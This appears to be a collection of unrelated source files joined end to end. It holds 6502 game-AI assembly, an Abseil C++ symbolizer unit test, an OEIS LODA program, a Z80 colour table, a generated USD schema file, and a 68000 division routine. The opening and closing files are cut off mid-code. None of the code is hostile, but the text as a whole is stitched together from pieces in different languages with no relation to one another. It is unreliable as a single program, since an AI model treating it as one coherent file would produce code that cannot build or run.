helpless state lda player_b_hitstun bne set_idle_action SIGNED_CMP(player_b_y, player_b_y_screen, stage_data+STAGE_PLATFORM_OFFSET_TOP COMMA y, #0) bmi set_idle_action lda player_b_state cmp #PEPPER_STATE_FALLING beq dont_set_idle_action cmp #PEPPER_STATE_THROWN beq dont_set_idle_action cmp #PEPPER_STATE_HELPLESS bne set_idle_action dont_set_idle_action: ; Wall jump if it is possible lda player_b_walled beq skip_walljump lda player_b_walljump bne set_jump_action skip_walljump: ; In helpless mode, do not try anything else lda player_b_state cmp #PEPPER_STATE_HELPLESS beq set_idle_action ; Air jump if it is possible lda player_b_num_aerial_jumps cmp #PEPPER_MAX_NUM_AERIAL_JUMPS bne set_jump_action ; Special-up since no other action was found jmp set_special_up_action ; Set an action set_idle_action: lda #<ai_action_idle sta ai_current_action_lsb lda #>ai_action_idle sta ai_current_action_msb jmp begin_action set_jump_action: lda #<ai_action_jump sta ai_current_action_lsb lda #>ai_action_jump sta ai_current_action_msb jmp begin_action set_special_up_action: lda #<ai_action_special_up sta ai_current_action_lsb lda #>ai_action_special_up sta ai_current_action_msb ;jmp begin_action ; useless, fallthrough ; Reset current action to its begining begin_action: lda #0 sta ai_current_action_step sta ai_current_action_counter jsr ai_delay_action end: rts .) platform_handler: .( patched_value = tmpfield5 ; Ignore unknown platforms lda stage_data, y cmp #STAGE_ELEMENT_PLATFORM beq process cmp #STAGE_ELEMENT_SMOOTH_PLATFORM beq process jmp end process: ; Select any platform as the best tya sta best_platform ; A platform above the player cannot save him SIGNED_CMP(stage_data+STAGE_PLATFORM_OFFSET_TOP COMMA y, #0, player_b_y, player_b_y_screen) bmi end ; A platform on the left of the player cannot save him lda stage_data+STAGE_PLATFORM_OFFSET_RIGHT, y clc adc #1 sta patched_value SIGNED_CMP(patched_value, #0, player_b_x, player_b_x_screen) bmi end ; A platform on the right of the player cannot save him lda player_b_x clc adc #1 sta patched_value SIGNED_CMP(patched_value, player_b_x_screen, stage_data+STAGE_PLATFORM_OFFSET_LEFT COMMA y, #0) bmi end ; The current platform can save the player, no need to recover lda #0 sta endangered ldy #$ff end: rts .) .)
// Copyright 2018 The Abseil Authors. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // https://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "absl/debugging/symbolize.h" #ifndef _WIN32 #include <fcntl.h> #include <sys/mman.h> #endif #include <cstring> #include <iostream> #include <memory> #include "gmock/gmock.h" #include "gtest/gtest.h" #include "absl/base/attributes.h" #include "absl/base/casts.h" #include "absl/base/internal/per_thread_tls.h" #include "absl/base/internal/raw_logging.h" #include "absl/base/optimization.h" #include "absl/debugging/internal/stack_consumption.h" #include "absl/memory/memory.h" using testing::Contains; // Functions to symbolize. Use C linkage to avoid mangled names. extern "C" { void nonstatic_func() { ABSL_BLOCK_TAIL_CALL_OPTIMIZATION(); } static void static_func() { ABSL_BLOCK_TAIL_CALL_OPTIMIZATION(); } } // extern "C" struct Foo { static void func(int x); }; // A C++ method that should have a mangled name. void ABSL_ATTRIBUTE_NOINLINE Foo::func(int) { ABSL_BLOCK_TAIL_CALL_OPTIMIZATION(); } // Create functions that will remain in different text sections in the // final binary when linker option "-z,keep-text-section-prefix" is used. int ABSL_ATTRIBUTE_SECTION_VARIABLE(.text.unlikely) unlikely_func() { return 0; } int ABSL_ATTRIBUTE_SECTION_VARIABLE(.text.hot) hot_func() { return 0; } int ABSL_ATTRIBUTE_SECTION_VARIABLE(.text.startup) startup_func() { return 0; } int ABSL_ATTRIBUTE_SECTION_VARIABLE(.text.exit) exit_func() { return 0; } int /*ABSL_ATTRIBUTE_SECTION_VARIABLE(.text)*/ regular_func() { return 0; } // Thread-local data may confuse the symbolizer, ensure that it does not. // Variable sizes and order are important. #if ABSL_PER_THREAD_TLS static ABSL_PER_THREAD_TLS_KEYWORD char symbolize_test_thread_small[1]; static ABSL_PER_THREAD_TLS_KEYWORD char symbolize_test_thread_big[2 * 1024 * 1024]; #endif // Used below to hopefully inhibit some compiler/linker optimizations // that may remove kHpageTextPadding, kPadding0, and kPadding1 from // the binary. static volatile bool volatile_bool = false; // Force the binary to be large enough that a THP .text remap will succeed. static constexpr size_t kHpageSize = 1 << 21; const char kHpageTextPadding[kHpageSize * 4] ABSL_ATTRIBUTE_SECTION_VARIABLE( .text) = ""; static char try_symbolize_buffer[4096]; // A wrapper function for absl::Symbolize() to make the unit test simple. The // limit must be < sizeof(try_symbolize_buffer). Returns null if // absl::Symbolize() returns false, otherwise returns try_symbolize_buffer with // the result of absl::Symbolize(). static const char *TrySymbolizeWithLimit(void *pc, int limit) { ABSL_RAW_CHECK(limit <= sizeof(try_symbolize_buffer), "try_symbolize_buffer is too small"); // Use the heap to facilitate heap and buffer sanitizer tools. auto heap_buffer = absl::make_unique<char[]>(sizeof(try_symbolize_buffer)); bool found = absl::Symbolize(pc, heap_buffer.get(), limit); if (found) { ABSL_RAW_CHECK(strnlen(heap_buffer.get(), limit) < limit, "absl::Symbolize() did not properly terminate the string"); strncpy(try_symbolize_buffer, heap_buffer.get(), sizeof(try_symbolize_buffer) - 1); try_symbolize_buffer[sizeof(try_symbolize_buffer) - 1] = '\0'; } return found ? try_symbolize_buffer : nullptr; } // A wrapper for TrySymbolizeWithLimit(), with a large limit. static const char *TrySymbolize(void *pc) { return TrySymbolizeWithLimit(pc, sizeof(try_symbolize_buffer)); } #ifdef ABSL_INTERNAL_HAVE_ELF_SYMBOLIZE TEST(Symbolize, Cached) { // Compilers should give us pointers to them. EXPECT_STREQ("nonstatic_func", TrySymbolize((void *)(&nonstatic_func))); // The name of an internal linkage symbol is not specified; allow either a // mangled or an unmangled name here. const char *static_func_symbol = TrySymbolize((void *)(&static_func)); EXPECT_TRUE(strcmp("static_func", static_func_symbol) == 0 || strcmp("static_func()", static_func_symbol) == 0); EXPECT_TRUE(nullptr == TrySymbolize(nullptr)); } TEST(Symbolize, Truncation) { constexpr char kNonStaticFunc[] = "nonstatic_func"; EXPECT_STREQ("nonstatic_func", TrySymbolizeWithLimit((void *)(&nonstatic_func), strlen(kNonStaticFunc) + 1)); EXPECT_STREQ("nonstatic_...", TrySymbolizeWithLimit((void *)(&nonstatic_func), strlen(kNonStaticFunc) + 0)); EXPECT_STREQ("nonstatic...", TrySymbolizeWithLimit((void *)(&nonstatic_func), strlen(kNonStaticFunc) - 1)); EXPECT_STREQ("n...", TrySymbolizeWithLimit((void *)(&nonstatic_func), 5)); EXPECT_STREQ("...", TrySymbolizeWithLimit((void *)(&nonstatic_func), 4)); EXPECT_STREQ("..", TrySymbolizeWithLimit((void *)(&nonstatic_func), 3)); EXPECT_STREQ(".", TrySymbolizeWithLimit((void *)(&nonstatic_func), 2)); EXPECT_STREQ("", TrySymbolizeWithLimit((void *)(&nonstatic_func), 1)); EXPECT_EQ(nullptr, TrySymbolizeWithLimit((void *)(&nonstatic_func), 0)); } TEST(Symbolize, SymbolizeWithDemangling) { Foo::func(100); EXPECT_STREQ("Foo::func()", TrySymbolize((void *)(&Foo::func))); } TEST(Symbolize, SymbolizeSplitTextSections) { EXPECT_STREQ("unlikely_func()", TrySymbolize((void *)(&unlikely_func))); EXPECT_STREQ("hot_func()", TrySymbolize((void *)(&hot_func))); EXPECT_STREQ("startup_func()", TrySymbolize((void *)(&startup_func))); EXPECT_STREQ("exit_func()", TrySymbolize((void *)(&exit_func))); EXPECT_STREQ("regular_func()", TrySymbolize((void *)(&regular_func))); } // Tests that verify that Symbolize stack footprint is within some limit. #ifdef ABSL_INTERNAL_HAVE_DEBUGGING_STACK_CONSUMPTION static void *g_pc_to_symbolize; static char g_symbolize_buffer[4096]; static char *g_symbolize_result; static void SymbolizeSignalHandler(int signo) { if (absl::Symbolize(g_pc_to_symbolize, g_symbolize_buffer, sizeof(g_symbolize_buffer))) { g_symbolize_result = g_symbolize_buffer; } else { g_symbolize_result = nullptr; } } // Call Symbolize and figure out the stack footprint of this call. static const char *SymbolizeStackConsumption(void *pc, int *stack_consumed) { g_pc_to_symbolize = pc; *stack_consumed = absl::debugging_internal::GetSignalHandlerStackConsumption( SymbolizeSignalHandler); return g_symbolize_result; } static int GetStackConsumptionUpperLimit() { // Symbolize stack consumption should be within 2kB. int stack_consumption_upper_limit = 2048; #if defined(ADDRESS_SANITIZER) || defined(MEMORY_SANITIZER) || \ defined(THREAD_SANITIZER) // Account for sanitizer instrumentation requiring additional stack space. stack_consumption_upper_limit *= 5; #endif return stack_consumption_upper_limit; } TEST(Symbolize, SymbolizeStackConsumption) { int stack_consumed = 0; const char *symbol = SymbolizeStackConsumption((void *)(&nonstatic_func), &stack_consumed); EXPECT_STREQ("nonstatic_func", symbol); EXPECT_GT(stack_consumed, 0); EXPECT_LT(stack_consumed, GetStackConsumptionUpperLimit()); // The name of an internal linkage symbol is not specified; allow either a // mangled or an unmangled name here. symbol = SymbolizeStackConsumption((void *)(&static_func), &stack_consumed); EXPECT_TRUE(strcmp("static_func", symbol) == 0 || strcmp("static_func()", symbol) == 0); EXPECT_GT(stack_consumed, 0); EXPECT_LT(stack_consumed, GetStackConsumptionUpperLimit()); } TEST(Symbolize, SymbolizeWithDemanglingStackConsumption) { Foo::func(100); int stack_consumed = 0; const char *symbol = SymbolizeStackConsumption((void *)(&Foo::func), &stack_consumed); EXPECT_STREQ("Foo::func()", symbol); EXPECT_GT(stack_consumed, 0); EXPECT_LT(stack_consumed, GetStackConsumptionUpperLimit()); } #endif // ABSL_INTERNAL_HAVE_DEBUGGING_STACK_CONSUMPTION // Use a 64K page size for PPC. const size_t kPageSize = 64 << 10; // We place a read-only symbols into the .text section and verify that we can // symbolize them and other symbols after remapping them. const char kPadding0[kPageSize * 4] ABSL_ATTRIBUTE_SECTION_VARIABLE(.text) = ""; const char kPadding1[kPageSize * 4] ABSL_ATTRIBUTE_SECTION_VARIABLE(.text) = ""; static int FilterElfHeader(struct dl_phdr_info *info, size_t size, void *data) { for (int i = 0; i < info->dlpi_phnum; i++) { if (info->dlpi_phdr[i].p_type == PT_LOAD && info->dlpi_phdr[i].p_flags == (PF_R | PF_X)) { const void *const vaddr = absl::bit_cast<void *>(info->dlpi_addr + info->dlpi_phdr[i].p_vaddr); const auto segsize = info->dlpi_phdr[i].p_memsz; const char *self_exe; if (info->dlpi_name != nullptr && info->dlpi_name[0] != '\0') { self_exe = info->dlpi_name; } else { self_exe = "/proc/self/exe"; } absl::debugging_internal::RegisterFileMappingHint( vaddr, reinterpret_cast<const char *>(vaddr) + segsize, info->dlpi_phdr[i].p_offset, self_exe); return 1; } } return 1; } TEST(Symbolize, SymbolizeWithMultipleMaps) { // Force kPadding0 and kPadding1 to be linked in. if (volatile_bool) { ABSL_RAW_LOG(INFO, "%s", kPadding0); ABSL_RAW_LOG(INFO, "%s", kPadding1); } // Verify we can symbolize everything. char buf[512]; memset(buf, 0, sizeof(buf)); absl::Symbolize(kPadding0, buf, sizeof(buf)); EXPECT_STREQ("kPadding0", buf); memset(buf, 0, sizeof(buf)); absl::Symbolize(kPadding1, buf, sizeof(buf)); EXPECT_STREQ("kPadding1", buf); // Specify a hint for the executable segment. dl_iterate_phdr(FilterElfHeader, nullptr); // Reload at least one page out of kPadding0, kPadding1 const char *ptrs[] = {kPadding0, kPadding1}; for (const char *ptr : ptrs) { const int kMapFlags = MAP_ANONYMOUS | MAP_PRIVATE; void *addr = mmap(nullptr, kPageSize, PROT_READ, kMapFlags, 0, 0); ASSERT_NE(addr, MAP_FAILED); // kPadding[0-1] is full of zeroes, so we can remap anywhere within it, but // we ensure there is at least a full page of padding. void *remapped = reinterpret_cast<void *>( reinterpret_cast<uintptr_t>(ptr + kPageSize) & ~(kPageSize - 1ULL)); const int kMremapFlags = (MREMAP_MAYMOVE | MREMAP_FIXED); void *ret = mremap(addr, kPageSize, kPageSize, kMremapFlags, remapped); ASSERT_NE(ret, MAP_FAILED); } // Invalidate the symbolization cache so we are forced to rely on the hint. absl::Symbolize(nullptr, buf, sizeof(buf)); // Verify we can still symbolize. const char *expected[] = {"kPadding0", "kPadding1"}; const size_t offsets[] = {0, kPageSize, 2 * kPageSize, 3 * kPageSize}; for (int i = 0; i < 2; i++) { for (size_t offset : offsets) { memset(buf, 0, sizeof(buf)); absl::Symbolize(ptrs[i] + offset, buf, sizeof(buf)); EXPECT_STREQ(expected[i], buf); } } } // Appends string(*args->arg) to args->symbol_buf. static void DummySymbolDecorator( const absl::debugging_internal::SymbolDecoratorArgs *args) { std::string *message = static_cast<std::string *>(args->arg); strncat(args->symbol_buf, message->c_str(), args->symbol_buf_size - strlen(args->symbol_buf) - 1); } TEST(Symbolize, InstallAndRemoveSymbolDecorators) { int ticket_a; std::string a_message("a"); EXPECT_GE(ticket_a = absl::debugging_internal::InstallSymbolDecorator( DummySymbolDecorator, &a_message), 0); int ticket_b; std::string b_message("b"); EXPECT_GE(ticket_b = absl::debugging_internal::InstallSymbolDecorator( DummySymbolDecorator, &b_message), 0); int ticket_c; std::string c_message("c"); EXPECT_GE(ticket_c = absl::debugging_internal::InstallSymbolDecorator( DummySymbolDecorator, &c_message), 0); char *address = reinterpret_cast<char *>(1); EXPECT_STREQ("abc", TrySymbolize(address++)); EXPECT_TRUE(absl::debugging_internal::RemoveSymbolDecorator(ticket_b)); EXPECT_STREQ("ac", TrySymbolize(address++)); // Cleanup: remove all remaining decorators so other stack traces don't // get mystery "ac" decoration. EXPECT_TRUE(absl::debugging_internal::RemoveSymbolDecorator(ticket_a)); EXPECT_TRUE(absl::debugging_internal::RemoveSymbolDecorator(ticket_c)); } // Some versions of Clang with optimizations enabled seem to be able // to optimize away the .data section if no variables live in the // section. This variable should get placed in the .data section, and // the test below checks for the existence of a .data section. static int in_data_section = 1; TEST(Symbolize, ForEachSection) { int fd = TEMP_FAILURE_RETRY(open("/proc/self/exe", O_RDONLY)); ASSERT_NE(fd, -1); std::vector<std::string> sections; ASSERT_TRUE(absl::debugging_internal::ForEachSection( fd, [&sections](const std::string &name, const ElfW(Shdr) &) { sections.push_back(name); return true; })); // Check for the presence of common section names. EXPECT_THAT(sections, Contains(".text")); EXPECT_THAT(sections, Contains(".rodata")); EXPECT_THAT(sections, Contains(".bss")); ++in_data_section; EXPECT_THAT(sections, Contains(".data")); close(fd); } // x86 specific tests. Uses some inline assembler. extern "C" { inline void *ABSL_ATTRIBUTE_ALWAYS_INLINE inline_func() { void *pc = nullptr; #if defined(__i386__) __asm__ __volatile__("call 1f;\n 1: pop %[PC]" : [ PC ] "=r"(pc)); #elif defined(__x86_64__) __asm__ __volatile__("leaq 0(%%rip),%[PC];\n" : [ PC ] "=r"(pc)); #endif return pc; } void *ABSL_ATTRIBUTE_NOINLINE non_inline_func() { void *pc = nullptr; #if defined(__i386__) __asm__ __volatile__("call 1f;\n 1: pop %[PC]" : [ PC ] "=r"(pc)); #elif defined(__x86_64__) __asm__ __volatile__("leaq 0(%%rip),%[PC];\n" : [ PC ] "=r"(pc)); #endif return pc; } void ABSL_ATTRIBUTE_NOINLINE TestWithPCInsideNonInlineFunction() { #if defined(ABSL_HAVE_ATTRIBUTE_NOINLINE) && \ (defined(__i386__) || defined(__x86_64__)) void *pc = non_inline_func(); const char *symbol = TrySymbolize(pc); ABSL_RAW_CHECK(symbol != nullptr, "TestWithPCInsideNonInlineFunction failed"); ABSL_RAW_CHECK(strcmp(symbol, "non_inline_func") == 0, "TestWithPCInsideNonInlineFunction failed"); std::cout << "TestWithPCInsideNonInlineFunction passed" << std::endl; #endif } void ABSL_ATTRIBUTE_NOINLINE TestWithPCInsideInlineFunction() { #if defined(ABSL_HAVE_ATTRIBUTE_ALWAYS_INLINE) && \ (defined(__i386__) || defined(__x86_64__)) void *pc = inline_func(); // Must be inlined. const char *symbol = TrySymbolize(pc); ABSL_RAW_CHECK(symbol != nullptr, "TestWithPCInsideInlineFunction failed"); ABSL_RAW_CHECK(strcmp(symbol, __FUNCTION__) == 0, "TestWithPCInsideInlineFunction failed"); std::cout << "TestWithPCInsideInlineFunction passed" << std::endl; #endif } } // Test with a return address. void ABSL_ATTRIBUTE_NOINLINE TestWithReturnAddress() { #if defined(ABSL_HAVE_ATTRIBUTE_NOINLINE) void *return_address = __builtin_return_address(0); const char *symbol = TrySymbolize(return_address); ABSL_RAW_CHECK(symbol != nullptr, "TestWithReturnAddress failed"); ABSL_RAW_CHECK(strcmp(symbol, "main") == 0, "TestWithReturnAddress failed"); std::cout << "TestWithReturnAddress passed" << std::endl; #endif } #elif defined(_WIN32) && defined(_DEBUG) TEST(Symbolize, Basics) { EXPECT_STREQ("nonstatic_func", TrySymbolize((void *)(&nonstatic_func))); // The name of an internal linkage symbol is not specified; allow either a // mangled or an unmangled name here. const char* static_func_symbol = TrySymbolize((void *)(&static_func)); ASSERT_TRUE(static_func_symbol != nullptr); EXPECT_TRUE(strstr(static_func_symbol, "static_func") != nullptr); EXPECT_TRUE(nullptr == TrySymbolize(nullptr)); } TEST(Symbolize, Truncation) { constexpr char kNonStaticFunc[] = "nonstatic_func"; EXPECT_STREQ("nonstatic_func", TrySymbolizeWithLimit((void *)(&nonstatic_func), strlen(kNonStaticFunc) + 1)); EXPECT_STREQ("nonstatic_...", TrySymbolizeWithLimit((void *)(&nonstatic_func), strlen(kNonStaticFunc) + 0)); EXPECT_STREQ("nonstatic...", TrySymbolizeWithLimit((void *)(&nonstatic_func), strlen(kNonStaticFunc) - 1)); EXPECT_STREQ("n...", TrySymbolizeWithLimit((void *)(&nonstatic_func), 5)); EXPECT_STREQ("...", TrySymbolizeWithLimit((void *)(&nonstatic_func), 4)); EXPECT_STREQ("..", TrySymbolizeWithLimit((void *)(&nonstatic_func), 3)); EXPECT_STREQ(".", TrySymbolizeWithLimit((void *)(&nonstatic_func), 2)); EXPECT_STREQ("", TrySymbolizeWithLimit((void *)(&nonstatic_func), 1)); EXPECT_EQ(nullptr, TrySymbolizeWithLimit((void *)(&nonstatic_func), 0)); } TEST(Symbolize, SymbolizeWithDemangling) { const char* result = TrySymbolize((void *)(&Foo::func)); ASSERT_TRUE(result != nullptr); EXPECT_TRUE(strstr(result, "Foo::func") != nullptr) << result; } #else // Symbolizer unimplemented TEST(Symbolize, Unimplemented) { char buf[64]; EXPECT_FALSE(absl::Symbolize((void *)(&nonstatic_func), buf, sizeof(buf))); EXPECT_FALSE(absl::Symbolize((void *)(&static_func), buf, sizeof(buf))); EXPECT_FALSE(absl::Symbolize((void *)(&Foo::func), buf, sizeof(buf))); } #endif int main(int argc, char **argv) { // Make sure kHpageTextPadding is linked into the binary. if (volatile_bool) { ABSL_RAW_LOG(INFO, "%s", kHpageTextPadding); } #if ABSL_PER_THREAD_TLS // Touch the per-thread variables. symbolize_test_thread_small[0] = 0; symbolize_test_thread_big[0] = 0; #endif absl::InitializeSymbolizer(argv[0]); testing::InitGoogleTest(&argc, argv); #ifdef ABSL_INTERNAL_HAVE_ELF_SYMBOLIZE TestWithPCInsideInlineFunction(); TestWithPCInsideNonInlineFunction(); TestWithReturnAddress(); #endif return RUN_ALL_TESTS(); }
; A183154: T(n,k) is the number of order-preserving partial isometries (of an n-chain) of fixed k (fix of alpha is the number of fixed points of alpha) ; Submitted by Christian Krause ; 1,1,1,3,2,1,9,3,3,1,23,4,6,4,1,53,5,10,10,5,1,115,6,15,20,15,6,1,241,7,21,35,35,21,7,1,495,8,28,56,70,56,28,8,1,1005,9,36,84,126,126,84,36,9,1,2027,10,45,120,210,252,210,120,45,10,1 lpb $0 add $1,1 sub $0,$1 mov $2,$1 sub $2,$0 lpe bin $1,$0 mov $0,2 div $2,$1 pow $0,$2 sub $2,$0 mul $2,2 sub $1,$2 mov $0,$1 sub $0,2
; Platform specific colour transformation ; ; Entry: a = colour ; Exit: a = colour to use on screen ; Used: hl,bc,f ; SECTION code_clib PUBLIC conio_map_colour EXTERN __CLIB_CONIO_NATIVE_COLOUR conio_map_colour: ld c,__CLIB_CONIO_NATIVE_COLOUR rr c ret c and 15 ld c,a ld b,0 ld hl,table add hl,bc ld a,(hl) ret SECTION rodata_clib table: defb $0 ;BLACK -> BLACK defb $1 ;BLUE -> BLUE defb $4 ;GREEN -> GREEN defb $5 ;CYAN -> CYAN defb $2 ;RED -> RED defb $3 ;MAGENTA -> MAGENTA defb $2 ;BROWN -> RED defb $7 ;LIGHTGRAY -> WHITE defb $7 ;DARKGRAY -> WHITE defb $1 ;LIGHTBLUE -> BLUE defb $4 ;LIGHTGREEN -> GREEN defb $5 ;LIGHTCYAN -> CYAN defb $2 ;LIGHTRED -> RED defb $3 ;LIGHTMAGENTA -> MAGENTA defb $6 ;YELLOW -> YELLOW defb $7 ;WHITE -> WHITE
// // Copyright 2016 Pixar // // Licensed under the Apache License, Version 2.0 (the "Apache License") // with the following modification; you may not use this file except in // compliance with the Apache License and the following modification to it: // Section 6. Trademarks. is deleted and replaced with: // // 6. Trademarks. This License does not grant permission to use the trade // names, trademarks, service marks, or product names of the Licensor // and its affiliates, except as required to comply with Section 4(c) of // the License and to reproduce the content of the NOTICE file. // // You may obtain a copy of the Apache License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the Apache License with the above modification is // distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY // KIND, either express or implied. See the Apache License for the specific // language governing permissions and limitations under the Apache License. // #include "pxr/usd/usdContrived/publicMultipleApplyAPI.h" #include "pxr/usd/usd/schemaRegistry.h" #include "pxr/usd/usd/typed.h" #include "pxr/usd/usd/tokens.h" #include "pxr/usd/sdf/types.h" #include "pxr/usd/sdf/assetPath.h" namespace foo { namespace bar { namespace baz { // Register the schema with the TfType system. TF_REGISTRY_FUNCTION(TfType) { TfType::Define<UsdContrivedPublicMultipleApplyAPI, TfType::Bases< UsdAPISchemaBase > >(); } TF_DEFINE_PRIVATE_TOKENS( _schemaTokens, (PublicMultipleApplyAPI) (testo) ); /* virtual */ UsdContrivedPublicMultipleApplyAPI::~UsdContrivedPublicMultipleApplyAPI() { } /* static */ UsdContrivedPublicMultipleApplyAPI UsdContrivedPublicMultipleApplyAPI::Get(const UsdStagePtr &stage, const SdfPath &path) { if (!stage) { TF_CODING_ERROR("Invalid stage"); return UsdContrivedPublicMultipleApplyAPI(); } TfToken name; if (!IsPublicMultipleApplyAPIPath(path, &name)) { TF_CODING_ERROR("Invalid collection path <%s>.", path.GetText()); return UsdCollectionAPI(); } return UsdContrivedPublicMultipleApplyAPI(stage->GetPrimAtPath(path.GetPrimPath()), name); } UsdContrivedPublicMultipleApplyAPI UsdContrivedPublicMultipleApplyAPI::Get(const UsdPrim &prim, const TfToken &name) { return UsdContrivedPublicMultipleApplyAPI(prim, name); } /* static */ bool UsdContrivedPublicMultipleApplyAPI::IsSchemaPropertyBaseName(const TfToken &baseName) { static TfTokenVector attrsAndRels = { UsdContrivedTokens->testAttrOne, UsdContrivedTokens->testAttrTwo, }; return find(attrsAndRels.begin(), attrsAndRels.end(), baseName) != attrsAndRels.end(); } /* static */ bool UsdContrivedPublicMultipleApplyAPI::IsPublicMultipleApplyAPIPath( const SdfPath &path, TfToken *name) { if (!path.IsPropertyPath()) { return false; } std::string propertyName = path.GetName(); TfTokenVector tokens = SdfPath::TokenizeIdentifierAsTokens(propertyName); // The baseName of the path can't be one of the // schema properties. We should validate this in the creation (or apply) // API. TfToken baseName = *tokens.rbegin(); if (IsSchemaPropertyBaseName(baseName)) { return false; } if (tokens.size() >= 2 && tokens[0] == UsdTokens->testo) { *name = TfToken(propertyName.substr( UsdTokens->testo.GetString().size() + 1)); return true; } return false; } /* virtual */ UsdSchemaType UsdContrivedPublicMultipleApplyAPI::_GetSchemaType() const { return UsdContrivedPublicMultipleApplyAPI::schemaType; } /* static */ UsdContrivedPublicMultipleApplyAPI UsdContrivedPublicMultipleApplyAPI::Apply(const UsdPrim &prim, const TfToken &name) { return UsdAPISchemaBase::_MultipleApplyAPISchema<UsdContrivedPublicMultipleApplyAPI>( prim, _schemaTokens->PublicMultipleApplyAPI, name); } /* static */ const TfType & UsdContrivedPublicMultipleApplyAPI::_GetStaticTfType() { static TfType tfType = TfType::Find<UsdContrivedPublicMultipleApplyAPI>(); return tfType; } /* static */ bool UsdContrivedPublicMultipleApplyAPI::_IsTypedSchema() { static bool isTyped = _GetStaticTfType().IsA<UsdTyped>(); return isTyped; } /* virtual */ const TfType & UsdContrivedPublicMultipleApplyAPI::_GetTfType() const { return _GetStaticTfType(); } /// Returns the property name prefixed with the correct namespace prefix, which /// is composed of the the API's propertyNamespacePrefix metadata and the /// instance name of the API. inline TfToken _GetNamespacedPropertyName(const TfToken instanceName, const TfToken propName) { TfTokenVector identifiers = {_schemaTokens->testo, instanceName, propName}; return TfToken(SdfPath::JoinIdentifier(identifiers)); } UsdAttribute UsdContrivedPublicMultipleApplyAPI::GetTestAttrOneAttr() const { return GetPrim().GetAttribute( _GetNamespacedPropertyName( GetName(), UsdContrivedTokens->testAttrOne)); } UsdAttribute UsdContrivedPublicMultipleApplyAPI::CreateTestAttrOneAttr(VtValue const &defaultValue, bool writeSparsely) const { return UsdSchemaBase::_CreateAttr( _GetNamespacedPropertyName( GetName(), UsdContrivedTokens->testAttrOne), SdfValueTypeNames->Int, /* custom = */ false, SdfVariabilityVarying, defaultValue, writeSparsely); } UsdAttribute UsdContrivedPublicMultipleApplyAPI::GetTestAttrTwoAttr() const { return GetPrim().GetAttribute( _GetNamespacedPropertyName( GetName(), UsdContrivedTokens->testAttrTwo)); } UsdAttribute UsdContrivedPublicMultipleApplyAPI::CreateTestAttrTwoAttr(VtValue const &defaultValue, bool writeSparsely) const { return UsdSchemaBase::_CreateAttr( _GetNamespacedPropertyName( GetName(), UsdContrivedTokens->testAttrTwo), SdfValueTypeNames->Double, /* custom = */ false, SdfVariabilityVarying, defaultValue, writeSparsely); } namespace { static inline TfTokenVector _ConcatenateAttributeNames( const TfToken instanceName, const TfTokenVector& left, const TfTokenVector& right) { TfTokenVector result; result.reserve(left.size() + right.size()); result.insert(result.end(), left.begin(), left.end()); for (const TfToken attrName : right) { result.push_back( _GetNamespacedPropertyName(instanceName, attrName)); } result.insert(result.end(), right.begin(), right.end()); return result; } } /*static*/ const TfTokenVector& UsdContrivedPublicMultipleApplyAPI::GetSchemaAttributeNames( bool includeInherited, const TfToken instanceName) { static TfTokenVector localNames = { UsdContrivedTokens->testAttrOne, UsdContrivedTokens->testAttrTwo, }; static TfTokenVector allNames = _ConcatenateAttributeNames( instanceName, UsdAPISchemaBase::GetSchemaAttributeNames(true), localNames); if (includeInherited) return allNames; else return localNames; } }}} // ===================================================================== // // Feel free to add custom code below this line. It will be preserved by // the code generator. // // Just remember to wrap code in the appropriate delimiters: // 'namespace foo { namespace bar { namespace baz {', '}}}'. // ===================================================================== // // --(BEGIN CUSTOM CODE)--
* 32-bit integer arithmetic v0.01  Mar 1988 J.R.Oakley QJUMP * section cv * include 'dev8_keys_68000' * xdef cv_uldiv xdef cv_sldiv xdef cv_ulmul xdef cv_slmul *+++ * Divide a 32-bit signed dividend by a 32-bit signed divisor, giving * similar quotient and remainder. The rules are that the remainder has * the same sign as the divisor. * * Registers: * Entry Exit * D0 divisor quotient * D1 dividend remainder *--- cv_sldiv divsreg reg d2/d3/d6/d7 movem.l divsreg,-(sp) moveq #0,d6 ; assume both numbers are positive move.l d0,d7 ; keep and check divisor bpl.s sdv_chkd ; it is positive, no fixes neg.l d0 ; make it positive addq.w #2,d6 ; and flag it negative sdv_chkd tst.l d1 bpl.s sdv_usdv ; dividend is positive neg.l d1 ; it isn't addq.w #4,d6 ; so flag it sdv_usdv bsr.s usdiv ; do the division beq.s sdv_sign ; OK, just set the signs bvs.s sdv_exit ; ...oops move.w sdv_fixt(pc,d6.w),d6 ; how to fix result jmp sdv_fixt(pc,d6.w) ; do it sdv_sign move.w sdv_sigt(pc,d6.w),d6 ; how to fix result jmp sdv_sigt(pc,d6.w) ; do it sdv_sigt dc.w sdv_exit-sdv_sigt dc.w sdv_sqnr-sdv_sigt dc.w sdv_sgnq-sdv_sigt dc.w sdv_negr-sdv_sigt sdv_sgnq neg.l d1 ; remainder same sign as divisor sdv_sqnr neg.l d0 ; result is negative sdv_exit movem.l (sp)+,divsreg rts sdv_fixt dc.w sdv_exit-sdv_fixt dc.w sdv_fqnr-sdv_fixt dc.w sdv_fixq-sdv_fixt dc.w sdv_negr-sdv_fixt sdv_fqnr neg.l d1 ; remainder same sign as divisor sdv_fixq addq.l #1,d0 neg.l d0 ; different signs, result is negative sub.l d7,d1 ; and the remainder is different sdv_negr neg.l d1 movem.l (sp)+,divsreg rts *+++ * Divide a 32-bit dividend by a 32-bit divisor, yielding a * 32-bit quotient and remainder - this cannot overflow, but may * attempt to divide by zero. * * Registers: * Entry Exit * D0 divisor quotient * D1 dividend remainder *--- cv_uldiv divureg reg d2/d3 movem.l divureg,-(sp) bsr.s usdiv ; do the divide movem.l (sp)+,divureg rts * usdiv tst.l d0 ; dividing by zero? beq.s exov ; some people! moveq #1,d3 ; amount to add... moveq #0,d2 ; ...to answer tst.l d0 lsloop bmi.s chksub ; as big as we can get now cmp.l d0,d1 ; divisor bigger? blo.s do_div ; yes, start dividing add.l d3,d3 ; no, increase quotient increment add.l d0,d0 bra.s lsloop do_div lsr.l #1,d0 ; divisor/2 lsr.l #1,d3 ; and quotient increment beq.s exok ; no increment, done chksub cmp.l d0,d1 ; can we subtract? blo.s do_div ; not yet sub.l d0,d1 ; yes add.l d3,d2 ; so we can increment 